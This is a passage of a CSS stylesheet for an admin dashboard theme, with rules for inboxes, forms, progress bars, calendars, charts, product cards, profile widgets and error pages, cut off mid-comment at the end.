10px; } .recent-meaasge .media-left { padding-right: 25px; } .recent-meaasge .media-left img { border-radius: 100px; width: 50px; } .recent-meaasge .media-body { position: relative; } .recent-meaasge .media-body h4 { font-size: 16px; } .recent-meaasge .media-body p { margin-top: 10px; margin-bottom: 10px; } .meaasge-date { float: right; color: #455a64; position: absolute; right: 0; top: 0; font-size: 12px; } /* Input Style ------------------------*/ .form-group { margin-bottom: 20px; } .form-control { height: 42px; border-radius: 0; box-shadow: none; border-color: #e7e7e7; font-family: 'Poppins', sans-serif; } .form-control:hover { box-shadow: none; border-color: #e7e7e7; } .form-control.active, .form-control:focus { box-shadow: none; border-color: #878787; } .input-default { border-radius: 4px; } .input-flat { border-radius: 0; } .input-rounded { border-radius: 100px; } .input-focus { border-color: #4680ff; } .input-focus:focus { border-color: #4680ff; } /* Search Box Input Button --------------------------------*/ .input-group-btn .btn { padding: 10px 12px; } .input-group-default .form-control { border-radius: 4px; } .input-group-flat .form-control { border-radius: 4px; } .input-group-flat .btn { border-radius: 0; } .input-group-rounded .form-control { border-radius: 100px; } .input-group-rounded .btn-group-left { border-top-left-radius: 100px; border-bottom-left-radius: 100px; } .input-group-rounded .btn-group-right { border-top-right-radius: 100px; border-bottom-right-radius: 100px; } .input-group-close-icon { background: none; color: #252525; border-color: #e7e7e7; } .input-group-close-icon.active, .input-group-close-icon:focus, .input-group-close-icon:hover { background: none; border-color: #e7e7e7; color: #252525; } /* Input States -----------------------*/ .has-default .form-control.active, .has-error .form-control.active, .has-success .form-control.active, .has-warning .form-control.active, .has-default .form-control:focus, .has-error .form-control:focus, .has-success .form-control:focus, .has-warning .form-control:focus, .has-default .form-control:hover, .has-error .form-control:hover, .has-success .form-control:hover, .has-warning .form-control:hover { box-shadow: none; } .has-default .control-label { color: #878787; } .has-default .form-control { border-color: #878787; } .has-default .form-control.active, .has-default .form-control:focus, .has-default .form-control:hover { border-color: #878787; } .has-success .control-label { color: #26dad2; } .has-success .form-control { border-color: #26dad2; } .has-success .form-control.active, .has-success .form-control:focus, .has-success .form-control:hover { border-color: #26dad2; } .has-warning .control-label { color: #ffb64d; } .has-warning .form-control { border-color: #ffb64d; } .has-warning .form-control.active, .has-warning .form-control:focus, .has-warning .form-control:hover { border-color: #ffb64d; } .has-error .control-label { color: #fc6180; } .has-error .form-control { border-color: #fc6180; } .has-error .form-control.active, .has-error .form-control:focus, .has-error .form-control:hover { border-color: #fc6180; } .has-feedback label ~ .form-control-feedback { top: 35px; } .form-horizontal .has-feedback .form-control-feedback { top: 5px; } .has-success .form-control-feedback { color: #26dad2; } .has-warning .form-control-feedback { color: #ffb64d; } .has-error .form-control-feedback { color: #fc6180; } .has-success .input-group-addon { background-color: #93ede9; border-color: #26dad2; color: #26dad2; } .has-warning .input-group-addon { background-color: #ffeacd; border-color: #ffb64d; color: #ffb64d; } .has-error .input-group-addon { background-color: #fedee5; border-color: #fc6180; color: #fc6180; } /* Input Size --------------------*/ .input-sm { font-size: 12px; height: 30px; line-height: 1.5; } .input-lg { font-size: 18px; height: 46px; line-height: 1.33333; } /* Basic form ----------------------*/ label { font-weight: 400; margin-bottom: 10px; } /* Form Horizontal ----------------------*/ .form-horizontal .control-label { padding-top: 12px; } .form-horizontal .form-group { margin-left: 0; margin-right: 0; } .dropdown-menu li { font-size: 14px; padding: 5px 15px; } .is-invalid .form-control { border-color: #fc6180; } .invalid-feedback { color: #ef5350; display: none; margin-top: 0.25rem; } .is-invalid .invalid-feedback, .is-invalid .invalid-tooltip { display: block; } .inbox-leftbar { width: 240px; float: left; padding: 0 20px 20px 10px; } .inbox-rightbar { margin-left: 250px; } .message-list { display: block; padding-left: 0; } .message-list li { position: relative; display: block; height: 50px; line-height: 50px; cursor: default; transition-duration: 0.3s; } .message-list li a { color: #797979; } .message-list li:hover { background: rgba(152, 166, 173, 0.15); transition-duration: 0.05s; } .message-list li .col-mail { float: left; position: relative; } .message-list li .col-mail-1 { width: 320px; } .message-list li .col-mail-1 .star-toggle { display: block; float: left; margin-top: 18px; font-size: 16px; margin-left: 5px; } .message-list li .col-mail-1 .checkbox-wrapper-mail { display: block; float: left; margin: 15px 10px 0 20px; } .message-list li .col-mail-1 .dot { display: block; float: left; border: 4px solid transparent; border-radius: 100px; margin: 22px 26px 0; height: 0; width: 0; line-height: 0; font-size: 0; } .message-list li .col-mail-1 .title { position: absolute; left: 110px; right: 0; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .message-list li .col-mail-2 { position: absolute; top: 0; left: 320px; right: 0; bottom: 0; } .message-list li .col-mail-2 .subject { position: absolute; top: 0; left: 0; right: 200px; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; } .message-list li .col-mail-2 .date { position: absolute; top: 0; right: 0; width: 170px; padding-left: 80px; } .message-list li.active { background: rgba(152, 166, 173, 0.15); transition-duration: 0.05s; box-shadow: inset 3px 0 0 #3c86d8; } .message-list li.active:hover { box-shadow: inset 3px 0 0 #3c86d8; } .message-list li.selected { background: rgba(152, 166, 173, 0.15); transition-duration: 0.05s; } .message-list li.unread a { font-weight: 600; color: #272e37 !important; } .message-list li.blue-dot .col-mail-1 .dot { border-color: #5d6dc3; } .message-list li.orange-dot .col-mail-1 .dot { border-color: #f9bc0b; } .message-list li.green-dot .col-mail-1 .dot { border-color: #3ec396; } .message-list .checkbox-wrapper-mail { cursor: pointer; height: 20px; width: 20px; position: relative; display: inline-block; box-shadow: inset 0 0 0 1px #98a6ad; border-radius: 1px; } .message-list .checkbox-wrapper-mail input { opacity: 0; cursor: pointer; } .message-list .checkbox-wrapper-mail input:checked label { opacity: 1; } .message-list .checkbox-wrapper-mail label { position: absolute; top: 3px; left: 3px; right: 3px; bottom: 3px; cursor: pointer; background: #98a6ad; opacity: 0; margin-bottom: 0 !important; transition-duration: 0.05s; } .message-list .checkbox-wrapper-mail label:active { background: #87949b; } .mail-list a { font-family: "Roboto", sans-serif; vertical-align: middle; color: #797979; padding: 10px 15px; display: block; } @media (max-width: 648px) { .inbox-leftbar { width: 100%; } .inbox-rightbar { margin-left: 0; } } @media (max-width: 520px) { .message-list li .col-mail-1 { width: 150px; } .message-list li .col-mail-1 .title { left: 80px; } .message-list li .col-mail-2 { left: 160px; } .message-list li .col-mail-2 .date { text-align: right; padding-right: 10px; padding-left: 20px; } } .progress-bar { background-color: #4680ff; } .progress-bar-primary { background-color: #4680ff; } .progress-bar-success { background-color: #26dad2; } .progress-bar-info { background-color: #62d1f3; } .progress-bar-danger { background-color: #fc6180; } .progress-bar-warning { background-color: #ffb64d; } .progress-bar-pink { background-color: #e6a1f2; } .progress { height: 6px; } .progress-bar.active, .progress.active .progress-bar { animation: 2s linear 0s normal none infinite running progress-bar-stripes; } .progress-vertical { display: inline-block; height: 250px; margin-bottom: 0; margin-right: 20px; min-height: 250px; position: relative; } .progress-vertical-bottom { display: inline-block; height: 250px; margin-bottom: 0; margin-right: 20px; min-height: 250px; position: relative; transform: rotate(180deg); } .progress-animated { animation-duration: 5s; animation-name: myanimation; transition: all 5s ease 0s; } @keyframes myanimation { 0% { width: 0; } } @keyframes myanimation { 0% { width: 0; } } .browser .progress { height: 8px; } .tdl-holder { margin: 0 auto; } .tdl-holder ul { list-style: none; margin: 0; padding: 0; } .tdl-holder li { background-color: transparent; list-style: outside none none; margin: 0; padding: 10px 0; } .tdl-holder li span { margin-left: 30px; font-family: 'Poppins', sans-serif; vertical-align: middle; -webkit-transition: all 0.2s linear; -moz-transition: all 0.2s linear; -o-transition: all 0.2s linear; transition: all 0.2s linear; } .tdl-holder label { cursor: pointer; display: block; line-height: 40px; padding: 0 15px; position: relative; margin: 0 !important; } .tdl-holder label:hover { background-color: #eef5f9; color: #99abb4; } .tdl-holder label:hover a { display: block; } .tdl-holder label a { border-radius: 50%; color: #99abb4; display: none; float: right; font-weight: bold; line-height: normal; height: 16px; margin-top: 15px; text-align: center; text-decoration: none; width: 16px; -webkit-transition: all 0.2s linear; -moz-transition: all 0.2s linear; -o-transition: all 0.2s linear; transition: all 0.2s linear; } .tdl-holder input[type="checkbox"] { cursor: pointer; opacity: 0; position: absolute; } .tdl-holder input[type="checkbox"] + i { background-color: #ffffff; display: block; height: 18px; position: absolute; top: 15px; width: 18px; z-index: 1; } .tdl-holder input[type="checkbox"]:checked + i::after { content: "\e64c"; font-family: 'themify'; display: block; left: 0; position: absolute; top: -17px; z-index: 2; } .tdl-holder input[type="checkbox"]:checked ~ span { text-decoration: line-through; } .tdl-holder input[type="text"] { height: 60px; margin-top: 20px; font-size: 14px; } .datamap-sales-hover-tooltip { background: #444c67; font-family: 'Poppins', sans-serif; padding: 5px 10px; color: #ffffff; font-weight: 400; font-size: 12px; text-transform: capitalize; border-radius: 3px; } thead tr th { color: #455a64; font-weight: 500; } thead tr th:last-child { text-align: right; } tbody tr th { color: #455a64; font-family: 'Poppins', sans-serif; font-weight: normal; } tbody tr td { font-family: 'Poppins', sans-serif; color: #99abb4; } tbody tr td:last-child { text-align: right; } .table > tbody > tr > td, .table > tbody > tr > th, .table > tfoot > tr > td, .table > tfoot > tr > th, .table > thead > tr > td, .table > thead > tr > th { line-height: 32px; vertical-align: top; } .table > thead > tr > th { border-bottom: 1px solid #e7e7e7; font-weight: 600; } .table { margin-bottom: 0; } .table .badge { text-transform: uppercase; } .student-data-table label { margin-right: 7px; } .student-data-table td span a { padding: 3px; } .search-action { bottom: 0; display: inline-block; position: absolute; right: 92px; text-align: right; } .search-type .form-control { height: 30px; } @media (max-width: 1199px) { .search-action { text-align: center; position: relative; right: 0; } .search-type .form-control { margin-bottom: 8px; margin-top: 8px; } } .table td, .table th { padding: 0.55rem; } .table .round-img img { width: 38px; } .current-progress { margin-top: 15px; } .progress-content { margin-bottom: 20px; } .progress-content:last-child { margin-bottom: 0px; } .current-progressbar { margin-top: 3px; } .current-progressbar .progress { height: 15px; margin: 0px; box-shadow: none; } .current-progressbar .progress-bar { box-shadow: 0px; line-height: 14px; font-size: 11px; box-shadow: none; } .login-logo { text-align: center; margin-bottom: 15px; } .login-logo span { color: #ffffff; font-size: 24px; } .login-logo img { height: 75px; } .login-content { margin: 100px 0; } .login-form { background: #ffffff; padding: 30px 30px 20px; border-radius: 2px; } .login-form h4 { color: #455a64; text-align: center; margin-bottom: 50px; } .login-form .checkbox { color: #455a64; } .login-form .checkbox label { text-transform: none; } .login-form .btn { width: 100%; text-transform: uppercase; font-size: 14px; padding: 15px; border: 0px; } .login-form label { color: #455a64; text-transform: uppercase; } .login-form label a { color: #4680ff; } .social-login-content { margin: 0px -30px; border-top: 1px solid #e7e7e7; border-bottom: 1px solid #e7e7e7; padding: 30px 0px; background: #fcfcfc; } .social-button { padding: 0 30px; } .social-button i { padding: 19px; } .register-link a { color: #4680ff; } .cpu-load { width: 100%; height: 272px; font-size: 14px; line-height: 1.2em; } .cpu-load-data-content { font-size: 18px; font-weight: 400; line-height: 40px; } .cpu-load-data { margin-bottom: 30px; } .cpu-load-data li { display: inline-block; width: 32.5%; text-align: center; border-right: 1px solid #e7e7e7; } .cpu-load-data li:last-child { border-right: 0px; } #barChart { height: 400px!important; } .nestable-cart { overflow: hidden; } .dd-handle, .dd3-content { color: #000!important; } .profiletimeline { border-left: 1px solid rgba(120, 130, 140, 0.13); margin-left: 30px; margin-right: 10px; padding-left: 40px; position: relative; } .profiletimeline .sl-left { float: left; margin-left: -60px; margin-right: 15px; z-index: 1; } .profiletimeline .sl-left img { max-width: 40px; } .profiletimeline .sl-item { margin-bottom: 30px; margin-top: 8px; } .profiletimeline .sl-date { color: #99abb4; font-size: 12px; } .profiletimeline .time-item { border-color: rgba(120, 130, 140, 0.13); padding-bottom: 1px; position: relative; } .profiletimeline .time-item::before { content: " "; display: table; } .profiletimeline .time-item::after { background-color: #ffffff; border-color: rgba(120, 130, 140, 0.13); border-radius: 10px; border-style: solid; border-width: 2px; bottom: 0; content: ""; height: 14px; left: 0; margin-left: -8px; position: absolute; top: 5px; width: 14px; } .profiletimeline .time-item-item::after { content: " "; display: table; } .profiletimeline .item-info { margin-bottom: 15px; margin-left: 15px; } .profiletimeline .item-info p { margin-bottom: 10px !important; } .customtab li a.nav-link, .profile-tab li a.nav-link { border: 0 none; color: #455a64; padding: 15px 20px; } .customtab li a.nav-link.active, .profile-tab li a.nav-link.active { border-bottom: 2px solid #1976d2; color: #1976d2; } .card-two { position: relative; margin: 0 !important; border: 0; } .card-two header { position: relative; width: 100%; height: 60px; } .card-two header .avatar { position: absolute; left: 50%; top: 30px; margin-left: -50px; z-index: 5; width: 100px; height: 100px; border-radius: 50%; overflow: hidden; background: #ccc; border: 3px solid #fff; } .card-two header .avatar img { position: absolute; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); width: 100px; height: auto; } .card-two h3 { position: relative; margin: 80px 0 30px; text-align: center; } .card-two h3::after { content: ''; position: absolute; bottom: -15px; left: 50%; margin-left: -15px; width: 30px; height: 1px; background: #000; } .card-two .desc { padding: 0 1rem 2rem; text-align: center; line-height: 1.5; color: #777; } .card-two .contacts { width: 200px; max-width: 100%; margin: 0 auto 3.5rem; } .card-two .contacts a { display: block; width: 33.333333%; float: left; text-align: center; color: #1976d2; } .card-two .contacts a:hover { color: #333; } .card-two .contacts a:hover .fa::before { color: #fff; } .card-two .contacts a:hover .fa::after { top: 0; } .card-two .contacts a .fa { position: relative; width: 40px; height: 40px; line-height: 39px; overflow: hidden; text-align: center; border: 2px solid #1976d2; border-radius: 50%; } .card-two .contacts a .fa:before { position: relative; z-index: 1; } .card-two .contacts a .fa::after { content: ''; position: absolute; top: -50px; left: 0; width: 100%; height: 100%; -webkit-transition: top 0.3s; transition: top 0.3s; background: #1976d2; } .card-two .contacts a:last-of-type .fa { line-height: 36px; } .profile-widget-one .profile-one-bg { position: relative; } .profile-widget-one .profile-one-user-photo { position: relative; } .profile-widget-one .profile-one-user-photo .bg-overlay { background: rgba(0, 0, 0, 0.6); bottom: 0; left: 0; position: absolute; right: 0; top: 0; } .profile-widget-one .profile-one-user-photo .user-photo { bottom: 0; height: 100%; position: absolute; text-align: center; top: 0; width: 100%; } .profile-widget-one .profile-one-user-photo .user-photo img { border-radius: 100px; height: 100px; position: relative; top: 50%; transform: translateY(-50%); width: 100px; } .profile-widget-one .profile-one-user-content ul li { background: #ffffff; border-right: 1px solid #e7e7e7; border-bottom: 1px solid #e7e7e7; display: block; float: left; padding: 10px 0; text-align: center; width: 32%; } .profile-widget-one .profile-one-user-content ul li:last-child { border-right: 0px; } .profile-widget-one .profile-one-user-content h4 { line-height: 30px; font-size: 14px; margin: 0px; } .profile-widget-one .profile-one-user-content .earning-amount, .profile-widget-one .profile-one-user-content .sold-amount { color: #26dad2; font-size: 24px; font-weight: 400; margin-top: 10px; } .profile-widget-one .profile-one-user-content .sold-amount { color: #4680ff; font-size: 24px; font-weight: 400; margin-top: 10px; } .profile-widget-one .profile-one-user-button { text-align: center; padding: 26px 0px; } .profile-widget-one .profile-btn-one { font-size: 18px; text-transform: uppercase; padding: 8px 15px; font-weight: 400; color: #4680ff; } /*Aleart -------------*/ .alert-primary { background-color: #a2bfff; border-color: #a2bfff; color: #4680ff; } .alert-success { background-color: #93ede9; border-color: #93ede9; color: #26dad2; } .alert-warning { background-color: #ffeacd; border-color: #ffeacd; color: #ffb64d; } .alert-danger { background-color: #fedee5; border-color: #fedee5; color: #fc6180; } .alert-pink { background-color: #f8e4fb; border-color: #f8e4fb; color: #e6a1f2; } .alert-dismissable .close, .alert-dismissible .close { color: rgba(0, 0, 0, 0.8); } /* Labels ------------------*/ .label-default { background-color: #878787; } .label-primary { background-color: #4680ff; } .label-success { background-color: #26dad2; } .label-info { background-color: #62d1f3; } .label-danger { background-color: #fc6180; } .label-warning { background-color: #ffb64d; } /* Calendar ================================================== */ /* ============= Calendar ============= */ .calendar { float: left; margin-bottom: 0px; } .fc-view { margin-top: 30px; } .none-border .modal-footer { border-top: none; } .fc-toolbar { margin-bottom: 5px; margin-top: 15px; } .fc-toolbar h2 { font-size: 18px; font-weight: 600; line-height: 30px; text-transform: uppercase; } .fc-day { background: #ffffff; } .fc-toolbar .fc-state-active, .fc-toolbar .ui-state-active, .fc-toolbar button:focus, .fc-toolbar button:hover, .fc-toolbar .ui-state-hover { z-index: 0; } .fc-widget-header { border: 1px solid #e7e7e7; } .fc-widget-content { border: 1px solid #e7e7e7; } .fc th.fc-widget-header { background: #e7e7e7; font-size: 14px; line-height: 20px; padding: 10px 0px; text-transform: uppercase; } .fc-button { background: #ffffff; border: 1px solid #e7e7e7; color: #455a64; text-transform: capitalize; } .fc-text-arrow { font-family: inherit; font-size: 16px; } .fc-state-hover { background: #eef5f9 !important; } .fc-state-highlight { background: #eef5f9 !important; } .fc-cell-overlay { background: #eef5f9 !important; } .fc-unthemed .fc-today { background: #ffffff !important; } .fc-event { border-radius: 2px; border: none; cursor: move; font-size: 13px; margin: 5px 7px; padding: 5px 5px; text-align: center; } .external-event { color: #ffffff; cursor: move; margin: 10px 0; padding: 6px 10px; } .fc-basic-view td.fc-week-number span { padding-right: 5px; } .fc-basic-view td.fc-day-number { padding-right: 5px; } #drop-remove { margin: 0px; top: 3px; } #event-modal .modal-dialog, #add-category .modal-dialog { max-width: 600px; } .flotTip { background: #252525; border: 1px solid #252525; padding: 5px 15px; color: #ffffff; } .flot-container { box-sizing: border-box; width: 100%; height: 275px; padding: 20px 15px 15px; margin: 15px auto 30px; background: transparent; } .flot-pie-container { height: 275px; } .flotBar-container { height: 275px; } .flot-line { width: 100%; height: 100%; font-size: 14px; line-height: 1.2em; } .legend table { border-spacing: 5px; } #chart1, #flotBar, #flotCurve { width: 100%; height: 275px; } .cpu-load { height: 345px; } .morris-hover { position: absolute; z-index: 1; } .morris-hover.morris-default-style .morris-hover-row-label { font-weight: bold; margin: 0.25em 0; } .morris-hover.morris-default-style .morris-hover-point { white-space: nowrap; margin: 0.1em 0; } .morris-hover.morris-default-style { border-radius: 2px; padding: 10px 12px; color: #666; background: rgba(0, 0, 0, 0.7); border: none; color: #fff!important; } .morris-hover-point { color: rgba(255, 255, 255, 0.8) !important; } #morris-bar-chart, #morris-line-chart { height: 300px; } .products_1 { padding-top: 5px; padding-bottom: 5px; } .products_1 .pr_img_price { position: relative; } .products_1 .pr_img_price .product_price { min-width: 50px; min-height: 50px; background: #26dad2; border-radius: 100%; position: absolute; top: 0; right: 0; } .products_1 .pr_img_price .product_price p { padding-top: 15px; color: #ffffff; font-size: 14px; font-weight: 600; } .products_1 .product_details .product_name { padding-top: 30px; } .products_1 .product_details .prdt_add_to_cart { padding-top: 10px; } .products_1 .product_details .prdt_add_to_cart button { padding: 10px 20px; text-transform: uppercase; font-weight: 600; } .product-2-details .table > tbody > tr > td { border: none; } .product-2-details .product-2-des { margin-top: 25px; } .product-2-details .product-2-des .product_name h4 { font-size: 15px; font-weight: 600; } .product-2-details .product-2-des .product_des p { font-size: 13px; font-style: italic; } .product-2-details .product-2-button { border-left: 1px solid #e7e7e7; margin-top: 25px; } .product-2-details .product-2-button .prdt_add_to_curt { padding-top: 10px; } .product-2-details .product-2-button .prdt_add_to_curt button { font-size: 11px; text-transform: uppercase; font-weight: 600; } .product-3-img img { width: 100%; } .product_details_3 { padding: 15px 0px; } .product_details_3 .product_name h4 { font-size: 15px; font-weight: 600; } .product_details_3 .product_des { padding-bottom: 5px; } .product_details_3 .prdt_add_to_curt { padding-top: 10px; } .product_details_3 .prdt_add_to_curt button { text-transform: uppercase; font-weight: 600; } .favourite-menu-details .table > tbody > tr > td { border-top: none; border-bottom: 1px solid #e7e7e7; } .favourite-menu-details .favourite-menu-img { border-right: 1px solid #e7e7e7; margin-bottom: 25px; width: 120px; } .favourite-menu-details .favourite-menu-des { margin-top: 40px; margin-right: 465px; } .favourite-menu-details .favourite-menu-des .product_name h4 { font-weight: 600; text-align: left; } .favourite-menu-details .favourite-menu-button { margin-top: 40px; } .favourite-menu-details .favourite-menu-button .prdt_add_to_curt { padding-top: 10px; } .favourite-menu-details .favourite-menu-button .prdt_add_to_curt button { font-size: 11px; text-transform: uppercase; font-weight: 600; } .order-list-item table tbody > tr > td { padding-top: 8px; border-top: 1px solid #e7e7e7; } .order-list-item table thead > tr > th { border-bottom: 1px solid #e7e7e7; } .order-list-item thead { background: #4680ff; text-align: left; } .order-list-item thead th { color: #ffffff; font-weight: bold; } .order-list-item tbody { background: #ffffff; text-align: left; } .order-list-item tbody td { color: #444444; } .booking-system-feedback { top: 5px !important; right: 15px; } .booking-system-top { padding-top: 15px; } .media-body { vertical-align: middle; } .media-body span { font-size: 10px; color: #4680ff; } .media-body p { color: #99abb4; line-height: 15px; } .example { overflow: hidden; border: 1px solid #e7e7e7; -webkit-box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3); -moz-box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3); box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3); background-color: #eef5f9; text-align: justify; } .example p { padding: 20px 20px 0px 20px; font-size: 12px; } .box, .simple { height: 300px; } .scrollable-auto-x { overflow-x: auto; overflow-y: hidden; } .scrollable-auto-y { overflow-y: auto; overflow-x: hidden; } .scrollable-auto { overflow: auto; } .vmap { width: 100%; height: 400px; } .dark-browse-input-box { border-radius: 0; -webkit-border-radius: 0 !important; -moz-border-radius: 0 !important; -webkit-box-shadow: none !important; -moz-box-shadow: none !important; box-shadow: none !important; font-size: 12px; color: #000000; border: 1px solid #e7e7e7; } .dark-browse-input-box .dark-input-button { border-radius: 0; -webkit-border-radius: 0 !important; -moz-border-radius: 0 !important; background: #ffffff; border: none !important; color: #4680ff; } .dark-browse-input-box .dark-input-button i { font-weight: bold; font-size: 17px; } .dark-browse-input-box .dark-input-button:hover { background: #ffffff; color: #4680ff; -webkit-transition: all 0.3s; -moz-transition: all 0.3s; transition: all 0.3s; border: none !important; } .dark-browse-input-box .dark-input-button:focus { outline: none; border: none !important; background: none !important; } .file-input { position: relative; font-size: 14px; } .file-input label { position: absolute; top: -2px; right: 0; bottom: 0; margin: 0; } .file-input label:focus { outline: none; border: none !important; background: none !important; } .file-input .btn { position: absolute; right: 6px; top: 7px; bottom: 6px; max-width: 100px; padding-top: 0; padding-bottom: 0; font-size: 12px; line-height: 32px; } .file-input .btn input { width: 0; height: 0; } .file-input .file-name { float: left; width: 100%; border: 0; background: transparent; } .media-stats-content .stats-content { padding: 30px 0px; } .media-stats-content .stats-content .stats-digit { font-size: 24px; font-weight: 300; margin-bottom: 10px; } .media-stats-content .stats-content .stats-text { font-size: 14px; } .media-stats-content .stats-content .table td { line-height: 40px!important; } .carousel.vertical .carousel-inner { position: relative; overflow: hidden; width: 100%; } .carousel.vertical .carousel-inner > .item { display: none; position: relative; transition: top 0.6s ease-in-out; } .carousel.vertical .carousel-inner > .item > img, .carousel.vertical .carousel-inner > .item > a > img { line-height: 1; } @media all and (transform-3d), (-webkit-transform-3d) { .carousel.vertical .carousel-inner > .item { transition: transform 0.6s ease-in-out; backface-visibility: hidden; perspective: 1000; } .carousel.vertical .carousel-inner > .item.next, .carousel.vertical .carousel-inner > .item.active.right { transform: translate3d(0, 100%, 0); top: 0; } .carousel.vertical .carousel-inner > .item.prev, .carousel.vertical .carousel-inner > .item.active.left { transform: translate3d(0, -100%, 0); top: 0; } .carousel.vertical .carousel-inner > .item.next.left, .carousel.vertical .carousel-inner > .item.prev.right, .carousel.vertical .carousel-inner > .item.active { transform: translate3d(0, 0, 0); top: 0; width: 100%; } } .carousel.vertical .carousel-inner > .active, .carousel.vertical .carousel-inner > .next, .carousel.vertical .carousel-inner > .prev { display: block; } .carousel.vertical .carousel-inner > .active { top: 0; } .carousel.vertical .carousel-inner > .next, .carousel.vertical .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .carousel.vertical .carousel-inner > .next { top: 100%; } .carousel.vertical .carousel-inner > .prev { top: -100%; } .carousel.vertical .carousel-inner > .next.left, .carousel.vertical .carousel-inner > .prev.right { top: 0; } .carousel.vertical .carousel-inner > .active.left { top: -100%; } .carousel.vertical .carousel-inner > .active.right { top: 100%; } .ct-label { color: rgba(0, 0, 0, 0.8); fill: rgba(0, 0, 0, 0.8); font-size: 10px; } .ct-chart-pie .ct-label { color: rgba(0, 0, 0, 0.8); fill: rgba(0, 0, 0, 0.8); font-size: 12px; } .ct-series-a .ct-bar, .ct-series-a .ct-line, .ct-series-a .ct-point, .ct-series-a .ct-slice-donut { stroke: #26dad2; } .ct-series-b .ct-bar, .ct-series-b .ct-line, .ct-series-b .ct-point, .ct-series-b .ct-slice-donut { stroke: #4680ff; } .ct-series-c .ct-bar, .ct-series-c .ct-line, .ct-series-c .ct-point, .ct-series-c .ct-slice-donut { stroke: #fc6180; } .ct-series-d .ct-bar, .ct-series-d .ct-line, .ct-series-d .ct-point, .ct-series-d .ct-slice-donut { stroke: #ffb64d; } .ct-series-a .ct-area, .ct-series-a .ct-slice-donut-solid, .ct-series-a .ct-slice-pie { fill: #26dad2; } .ct-series-b .ct-area, .ct-series-b .ct-slice-donut-solid, .ct-series-b .ct-slice-pie { fill: #4680ff; } .ct-series-c .ct-area, .ct-series-c .ct-slice-donut-solid, .ct-series-c .ct-slice-pie { fill: #fc6180; } @media (max-width: 667px) { .dt-buttons { margin-left: 10px; } } @media (max-width: 480px) { .dt-buttons { display: inline-block; } } .pace { -webkit-pointer-events: none; pointer-events: none; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .pace-inactive { display: none; } .pace .pace-progress { background: #26dad2; position: fixed; z-index: 2000; top: 0; right: 100%; width: 100%; height: 2px; } .pace .pace-progress-inner { display: block; position: absolute; right: 0px; width: 100px; height: 100%; box-shadow: 0 0 10px #29d, 0 0 5px #29d; opacity: 1.0; -webkit-transform: rotate(3deg) translate(0px, -4px); -moz-transform: rotate(3deg) translate(0px, -4px); -ms-transform: rotate(3deg) translate(0px, -4px); -o-transform: rotate(3deg) translate(0px, -4px); transform: rotate(3deg) translate(0px, -4px); } .pace .pace-activity { display: block; position: fixed; z-index: 2000; top: 5px; right: 5px; width: 14px; height: 14px; border: solid 2px transparent; border-top-color: #26dad2; border-left-color: #26dad2; border-radius: 10px; -webkit-animation: pace-spinner 400ms linear infinite; -moz-animation: pace-spinner 400ms linear infinite; -ms-animation: pace-spinner 400ms linear infinite; -o-animation: pace-spinner 400ms linear infinite; animation: pace-spinner 400ms linear infinite; } @-webkit-keyframes pace-spinner { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } } @-moz-keyframes pace-spinner { 0% { -moz-transform: rotate(0deg); transform: rotate(0deg); } 100% { -moz-transform: rotate(360deg); transform: rotate(360deg); } } @-o-keyframes pace-spinner { 0% { -o-transform: rotate(0deg); transform: rotate(0deg); } 100% { -o-transform: rotate(360deg); transform: rotate(360deg); } } @-ms-keyframes pace-spinner { 0% { -ms-transform: rotate(0deg); transform: rotate(0deg); } 100% { -ms-transform: rotate(360deg); transform: rotate(360deg); } } @keyframes pace-spinner { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .superpose { color: #EEE; height: 350px; width: 100%; } .superclock { position: relative; width: 300px; margin: auto; } .superclock1 { position: absolute; left: 10px; top: 10px; } .superclock2 { position: absolute; left: 60px; top: 60px; } .superclock3 { position: absolute; left: 110px; top: 110px; } .header-search { float: right; margin-left: 15px; position: relative; } .header-search .form-control { height: 36px; width: 250px; border-radius: 5px; font-size: 14px; } .header-search i { position: absolute; right: 5px; top: 5px; cursor: pointer; height: 30px; padding: 5px; width: 30px; } .media-text-right { text-align: right; } .media-text-left { text-align: left; } .boxshadow-none { box-shadow: none; } .progress-sm { height: 8px; } .bg-warning-dark { background: #e7b63a; } .bg-info-dark { background: #8b67c9; } .bg-danger-dark { background: #e63327; } .bg-success-dark { background: #2ed3aa; } .bg-primary-dark { background: #0095e1; } .widget-card-circle i { font-size: 30px; left: 0; line-height: 97px; right: 0; text-align: center; } .widget-line-list li { display: inline-block; font-size: 1.2em; line-height: 27px; padding: 5px 20px 0 15px; } .widget-line-list li span { font-size: 14px; } .height-150 { height: 150px; } .social-connect ul li { display: inline-block; } .social-connect ul li a { display: inline-block; margin: 0 5px; padding: 12px 15px; border-radius: 4px; } .user-card-absolute { top: 115px; left: 0; right: 0; } .box-shadow { box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12); } .social-pad { padding: 40px 30px 110px; } .round-img img { border-radius: 100px; } .blockquote-box { border-right: 5px solid #E6E6E6; margin-bottom: 25px; } .blockquote-box .square { width: 100px; min-height: 50px; margin-right: 22px; text-align: center!important; background-color: #E6E6E6; padding: 20px 0; } .blockquote-box .blockquote-primary { border-color: #4680ff; } .blockquote-box .blockquote-primary .square { background-color: #4680ff; color: #ffffff; } .blockquote-box .blockquote-success { border-color: #26dad2; } .blockquote-box .blockquote-success .square { background-color: #26dad2; color: #ffffff; } .blockquote-box .blockquote-info { border-color: #62d1f3; } .blockquote-box .blockquote-info .square { background-color: #62d1f3; color: #ffffff; } .blockquote-box .blockquote-warning { border-color: #ffb64d; } .blockquote-box .blockquote-warning .square { background-color: #ffb64d; color: #ffffff; } .blockquote-box .blockquote-danger { border-color: #d43f3a; } .blockquote-box .blockquote-danger .square { background-color: #fc6180; color: #ffffff; } .error-box { height: 100%; position: fixed; width: 100%; } .error-box .footer { left: 0; right: 0; width: 100%; } .error-body { left: 0; position: absolute; right: 0; top: 50%; transform: translateY(-50%); } .error-body h1 { font-size: 150px; font-weight: 900; line-height: 210px; color: #444c67; } /* /* Version: 1.0 */ /*-------- css code for responsive layout --------*/ /* To make Responsive 